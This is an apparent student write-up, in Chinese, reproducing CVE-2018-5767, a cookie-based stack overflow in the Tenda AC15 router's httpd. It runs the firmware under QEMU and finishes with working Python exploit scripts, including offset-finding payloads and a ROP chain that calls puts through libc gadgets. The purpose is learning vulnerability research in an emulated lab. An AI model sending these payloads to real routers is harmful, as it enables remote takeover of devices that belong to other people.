CVE-2018-5767 (Tenda AC15 15.03.1.16_multi)

2026-08-29 2026-08-29

前言：该篇文章的学习主要是由于在复现 CVE-2020-8423 的过程中遇到了一点关于动态调试的问题，学长推荐了一篇文章是关于这个漏洞的，于是来这里学习一下动态调试的方法。

环境搭建：

固件分享链接(是 cCor4ng3 师傅的)夸克网盘，链接：https://pan.quark.cn/s/38df4f0919b4，提取码：6AEk

binwalk 解包固件：

1	binwalk -Me CVE.bin

1	readelf -h ./busybox

1
2
3

#安装qemu和arm的动态链接库
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp $(which qemu-arm-static) .

sudo  chroot  ./   ./qemu-arm-static  ./bin/httpd
 │     │      │          │                │
 │     │      │          │                └─ 要运行的目标程序（ARM 编译的 HTTP 服务）
 │     │      │          └─ QEMU 的 ARM 32 位用户态模拟器（静态链接版本）
 │     │      └─ 新的根目录（"." 表示把当前目录当作新的 "/"）
 │     └─ 切换根目录的系统调用
 └─ 以 root 权限执行（chroot 需要 root 权限）

之后我们可以看到一系列报错：

1
2
3

init_core_dump 1784: rlim_cur = 0, rlim_max = 0
init_core_dump 1794: open core dump success
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120

我们可以打开 ida，去搜索这个 welome 字符串：

然后定位一下字符串出现的位置：

最开始 MOV R0,#1;MOV R3,R0;CMP R3,#0，显然是会执行红色的分支 sleep，最后返回 loc_2CF84 函数进行一个死循环，我们想要篡改死循环的状态，就可以把程序MOV R3,R0;修改为MOV R3,1;就可以进入右分支。

我们可以借助 rasm2 工具：

# 1. 浅克隆最新代码
git clone --depth 1 https://github.com/radareorg/radare2.git ~/radare2

# 2. 编译并安装
cd ~/radare2
sys/install.sh

然后选中修改行，edit->patch program->change bytes 修改 values

修改过后我们可以看到程序汇编发生变化，这样就可以稳定进入右侧了：

保存修改之后(下面有说保存的方式)，再次运行程序发现依旧卡住了，我们继续往下看汇编：

保存：

右侧依旧存在同样的问题，按照之前的方式修改一遍之后保存，再次运行程序：

可以看到我们此时监听的是 81 端口，ip 为 255.255.255.255

搭建一个虚拟网桥

sudo ip link add br0 type bridge
sudo ip link set eth0 master br0

sudo ip addr flush dev eth0
sudo ip link set eth0 up
sudo ip link set br0 up
sudo dhcpcd br0

sudo ip link add br0 type bridge
含义：在系统中创建一个名为 br0 的虚拟网桥接口（相当于在软件层面上新建了一个“虚拟交换机”）。
sudo ip link set eth0 master br0
含义：将物理网卡 eth0 插到网桥 br0 上，使其成为 br0 的从属接口（Master/Slave 关系）。此后 eth0 就像是虚拟交换机上的一个网线插口。
sudo ip addr flush dev eth0
含义：清空物理网卡 eth0 上原有的 IP 地址。因为网卡加入网桥后，IP 地址需要绑定在网桥 br0 上，而不是物理网卡本身。
sudo ip link set eth0 up
含义：启用物理网卡 eth0（开启链路层连接）。
sudo ip link set br0 up
含义：启用虚拟网桥 br0。
sudo dhcpcd br0
含义：让网桥 br0 发起 DHCP 请求，从局域网路由器重新获取一个新的 IP 地址。

配置前：电脑直接通过 eth0 上网，IP 地址绑定在 eth0 上。

配置后：数据流变为 外部网络 <-> eth0 <-> br0 <-> 本机/虚拟机，IP 地址绑定在 br0 上。后续创的虚拟机可以直接挂载到 br0 上，与本机处于同一个物理局域网段内。

最后再检测一下，打开：http://192.168.206.148/goform/getProduct如下返回即为配置成功

漏洞分析：

依据 POC 我们可以知道，漏洞点存在于 R7WebsSecurityHandler 函数当中：

找到 password=这里：

"%*[^=]=%[^;];*"是一个正则表达式，表示跳过等号”=”前面的所有内容，并提取等号和分号”;”之间的值。

正则这里之前学 web 的时候了解过，不过忘完了，看看 ai 的解释：

%*[^=]
    %：格式化匹配的起始符。
    *：赋值抑制符（忽略）。意思是读取这部分内容，但不要将其保存到任何变量中。
    [^=]：扫描集（Scanset）。^ 代表“非”。这表示匹配任意字符，直到遇到 = 为止。
    组合效果：读取并丢弃等号前面的所有字符（例如丢弃 password 或 user 这样的键名）。

=
    匹配字符串中实际存在的、字面意义上的 = 符号。
    效果：吞掉这个等号，让光标移动到等号后面的字符。

%[^;]
    %：格式化匹配的起始符（注意这里没有 *，表示需要保存）。
    [^;]：匹配任意字符，直到遇到分号 ; 为止。
    组合效果：读取等号后面的所有内容，直到碰见分号（或字符串结束），并将这段“值”存入 sscanf 后续提供的变量（即你代码中的 v36）中。

;*
    在标准的 sscanf 语法中，这表示匹配字面上的分号 ; 和星号 *。
    效果：由于这部分位于提取操作（%[^;]）之后，且后面没有其他变量需要赋值，所以它实际上不会对提取结果产生任何影响。即使原始字符串没有 ;*，sscanf 也会在成功提取 v36 后正常结束。

这里没有对用户的输入进行过滤，因此有机会覆盖掉堆栈劫持程序流

想要执行到这里，首先需要满足前面的 if 判断：

这里我们直接使用"/goform/xxxx"即可

先进行简单的溢出尝试，开启另一个终端用 gdb 连上远程调试：

1 2	sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd # sudo chroot ./ ./qemu-arm-static ./bin/httpd 上面的是调试用的,下面的就是单纯的开启服务

1
2
3

gdb-multiarch ./bin/httpd
target remote:1234
c

然后使用 python requests 库来构造 HTTP 请求：

import requests
URL = "http://192.168.206.148:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400}
requests.get(url=URL, cookies=cookie)

在我们的 exp 发送后，发现到有几项寄存器被写入了”aaaa”，debug 中得到了报错信息：Cannot dereference [0x61616161]表示 strstr 函数在试图读取内存地址 0x61616161 时发生非法访问报错（Segfault）。

Payload 在达到目标 sscanf 溢出点之前，先破坏了上一级函数传入的指针结构。当程序试图调用 strstr(a1->param, "password=") 时，读取到了被覆盖的无效地址（0x61616161），导致提前崩溃。

bt 看一下调用路径，发现在 0x2c5cc 进行报错：

跟踪 0x02c5cc 发现位于 sub_2c568 当中：

0x2c5cc在溢出后被执行，该子函数会卡住程序，因此我们要考虑去绕过这个函数：

在 R7WebsSecurityHandler 函数的下方还有一个 if 判断，若为 false 则可以直接跳转到函数末尾：

可以在 IDA 当中看一看，该 if 的小括号包含了下面的所有代码：

这段代码主要通过memcmp函数判断是否为“gif、png、js、css、jpg、jpeg”字符串，比如存在“.png”内容时，memcmp(v44, "png", 3u)的返回值为0，这个时候就会返回 false 跳转到函数最后。

import requests
URL = "http://192.168.206.148:80/goform/helloworld"
cookie = {"Cookie":"password="+"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae"+ ".png"}
requests.get(url=URL, cookies=cookie)

可以发现 cyclic 触发了中断，可以去测一下偏移：

最终我们测出来的偏移是 444

但是这里有一个需要注意的地方：崩溃的返回地址显示是0x6561616c(‘laae’)，我们还需要观察CPSR寄存器的T位进行判断，CPSR寄存器的标志位如下图所示：

涉及到 ARM 模式(LSB=0)和 Thumb 模式(LSB=1)的切换：栈上内容弹出到PC寄存器时，其最低有效位（LSB）将被写入CPSR寄存器的T位，而PC本身的LSB被设置为0。在 pwndbg 当中执行 p/t $cpsr 以二进制格式显示 CPSR 寄存器，发现 T 位值为 1，因此需要在之前的报错地址上手动加一还原

1
2

ARM 架构中利用栈溢出覆盖 PC 寄存器实现指令集切换（ARM <-> Thumb）的底层原理:
在 ARM 芯片上，去往 Thumb 代码段的跳转目标地址，最低位（LSB）必须手动 +1。

最后测出偏移实际上是 448

漏洞利用：

开启了 NX 保护，那就尝试去使用 ret2libc

在 Linux 系统中，可以通过查看或修改内核参数文件 /proc/sys/kernel/randomize_va_space 来确定是否开启了地址空间布局随机化（ASLR）。

1	cat /proc/sys/kernel/randomize_va_space

0：已关闭 (Disabled)：完全禁用 ASLR，栈、堆和共享库地址每次运行均固定。

1：部分开启 (Conservative)：开启栈、VDSO 和mmap地址随机化，但堆 Heap 地址固定

2：完全开启 (Full)：在 1 的基础上，进一步开启堆（Heap，brk）地址随机化（默认开启值）。

临时修改（需 root 权限）：

关闭 ASLR：echo 0 > /proc/sys/kernel/randomize_va_space
开启 ASLR：echo 2 > /proc/sys/kernel/randomize_va_space

之后我们去拿 puts 函数，调用 puts 函数打印 str，如果执行成功，就是一个任意函数可执行漏洞：

之后我们想要查看 libc_base，使用 vmmap 发现不可以，后来询问学长，给出的解答是：vmmap读的是proc这个路径，因此 qemu 不能用 user 调试，而我们前面开的是 user，需要用 system-arm 去调试才能够读到。

那就换一个路径：info sharedlibrary

我们可以看到此时 lib/libc.so.0 的 libc_base 是 0x3fde000，但是经过 exp 的编写发现这个偏移也不对…….

于是看一看 puts 函数距离当前这个 libc 的偏移：0x3acd4，而前面拿到的 puts 偏移实际是 0x35cd4，也就是说 libc 表偏移是死的，那就是 libc 基址实际上并非 0x3fde000，而是 puts 实际地址减去实际偏移

libc_base = puts_addr - puts_offset = 0x3fde5000

可以拿这个 base 去看一看 gadgets 的偏移是否正确：发现偏移处依旧是我们寻找的 gadgets。

保险起见我们重启 gdb 重复这个操作，得到 libc_base 确实是不变的

确定了 libc_base 之后我们就可以构造 exp 了：

import requests
from pwn import *
libc = ELF('./lib/libc.so.0')
URL = "http://192.168.206.148:80/goform/xxx"
libc_base = 0x3fde5000

puts   = libc_base + libc.sym['puts']      # 0x3fe15cd4
mov_r0 = libc_base + 0x00040cb8
pop_r3 = libc_base + 0x00018298
_str = b"hack_accessfully!"
payload = b'a' * 448 + p32(pop_r3) + p32(puts) + p32(mov_r0) + _str
cookie_value = payload.decode('latin-1')
cookie = {"Cookie": "password=" + cookie_value + ".gif"}
requests.get(url=URL, cookies=cookie)